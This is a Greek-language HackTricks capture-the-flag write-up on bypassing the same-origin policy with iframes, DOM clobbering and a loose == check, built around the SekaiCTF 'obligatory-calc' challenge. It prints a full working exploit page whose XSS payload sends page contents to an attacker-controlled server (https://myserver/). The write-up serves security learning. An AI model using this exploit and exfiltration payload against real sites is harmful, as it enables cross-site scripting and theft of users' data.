Bypassing SOP with Iframes - 2

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Iframes στο SOP-2

Στην λύση για αυτήν την πρόκληση, @Strellic_ προτείνει μια παρόμοια μέθοδο με την προηγούμενη ενότητα. Ας το ελέγξουμε.

Σε αυτήν την πρόκληση, ο επιτιθέμενος χρειάζεται να παρακάμψει αυτό:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Αν το κάνει, μπορεί να στείλει ένα postmessage με περιεχόμενο HTML που θα γραφεί στη σελίδα με το innerHTML χωρίς απολύτως καθαρισμό (XSS).

Ο τρόπος να παρακάμψετε τον πρώτο έλεγχο είναι να καθορίσετε το window.calc.contentWindow σε undefined και το e.source σε null:

  • Το window.calc.contentWindow είναι στην πραγματικότητα το document.getElementById("calc"). Μπορείτε να αντικαταστήσετε το document.getElementById με <img name=getElementById /> (σημειώστε ότι το Sanitizer API -εδώ- δεν έχει ρυθμιστεί για να προστατεύει από επιθέσεις DOM clobbering στην προεπιλεγμένη του κατάσταση).

  • Συνεπώς, μπορείτε να αντικαταστήσετε το document.getElementById("calc") με <img name=getElementById /><div id=calc></div>. Έτσι, το window.calc θα είναι undefined.

  • Τώρα, χρειαζόμαστε το e.source να είναι undefined ή null (επειδή χρησιμοποιείται το == αντί για το ===, null == undefined είναι True). Αυτό είναι "εύκολο" να το πετύχετε. Αν δημιουργήσετε ένα iframe και στείλετε ένα postMessage από αυτό και αμέσως το αφαιρέσετε, το e.origin θα είναι null. Ελέγξτε τον παρακάτω κώδικα

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Για να παρακάμψετε τον δεύτερο έλεγχο για το token, στέλνετε το token με την τιμή null και καθορίζετε την τιμή του window.token ως undefined:

  • Η αποστολή του token στο postMessage με την τιμή null είναι απλή.

  • Το window.token καλεί τη συνάρτηση getCookie που χρησιμοποιεί το document.cookie. Σημειώστε ότι οποιαδήποτε πρόσβαση στο document.cookie σε σελίδες με προέλευση null προκαλεί ένα σφάλμα. Αυτό θα καθιστά την τιμή του window.token undefined.

Η τελική λύση από τον @terjanq είναι η ακόλουθη:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated